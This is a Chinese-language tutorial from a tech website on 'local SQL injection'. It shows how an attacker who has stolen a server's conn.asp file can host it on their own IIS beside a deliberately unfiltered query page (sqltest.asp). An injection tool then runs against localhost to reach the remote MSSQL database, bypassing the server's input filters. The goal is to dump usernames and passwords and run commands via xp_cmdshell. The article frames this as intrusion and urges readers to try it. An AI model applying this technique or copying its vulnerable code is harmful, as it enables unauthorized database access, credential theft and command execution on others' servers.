您好,登錄后才能下訂單哦!
這篇文章主要介紹“什么是本地SQL注射”,在日常操作中,相信很多人在什么是本地SQL注射問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”什么是本地SQL注射”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
何為本地注射?簡單地講,就是本來你在服務器上無法進行SQL注入,因為服務器上的WEB程序很安全,對request("id")這樣的請求過濾很嚴,或是限制輸入格式為數字等等方法,你只能選擇放棄放棄注入。
但是在有的時候,你可以在本機的IIS里進行注入,從而達到對服務器注射的目的,避過服務器的request參數提交過濾。舉例子來說明吧,現在你誤打誤撞,利用暴庫或是其他的漏洞,得到了服務器的conn.asp文件,那么恭喜你,入侵離成功不遠了。
conn.asp文件代碼一般如下:
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=61.121.140.37;UID=admin;pwd=12345;DATABASE=master"
%>
這里面記錄的就是服務器的數據庫的一些信息了,一般也會得到連接密碼,說明是MSSQL的系統,非常好搞。如果服務器有URL可以進行SQL語句注射的話,恢復下XP_CMDshell,我們就能執行很多命令了,DOS命令也隨便你。但是很可惜,我們不能注射,只有這么一個conn.asp文件可以利用。
那么,我們在本機來欺騙服務器,不過你要知道那個服務器采用的是什么web程序,不然你下面就不好寫代碼,我們來寫一個sqltest.asp文件,在其中不做任何過濾,將這個文件和conn.asp一起放到你的IIS中的wwwroot下面,這樣你就能通過Localhost來訪問啦。
sqltest.asp代碼如下:
<!--#include file="conn.asp"-->
<%
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL ="select * from DVBBSmdb where GuestID=" & id
rs.open strSQL,conn,1,3
rs.close
%>
那個DVBBSmdb是我虛構的,大家要改成這個web程序的數據庫的庫名。看到沒有,id的提交參數沒有經過任何的過濾,沒有用replace或是其他的函數。現在我們在啊D中輸入注射URL:http://localhost/sqltest.asp?id=1。接著用啊D在本地服務器執行命令或是跑用戶名和密碼,就等同于在你要入侵的服務器上進行注射,繞過了它的防注入措施。
到此,關于“什么是本地SQL注射”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。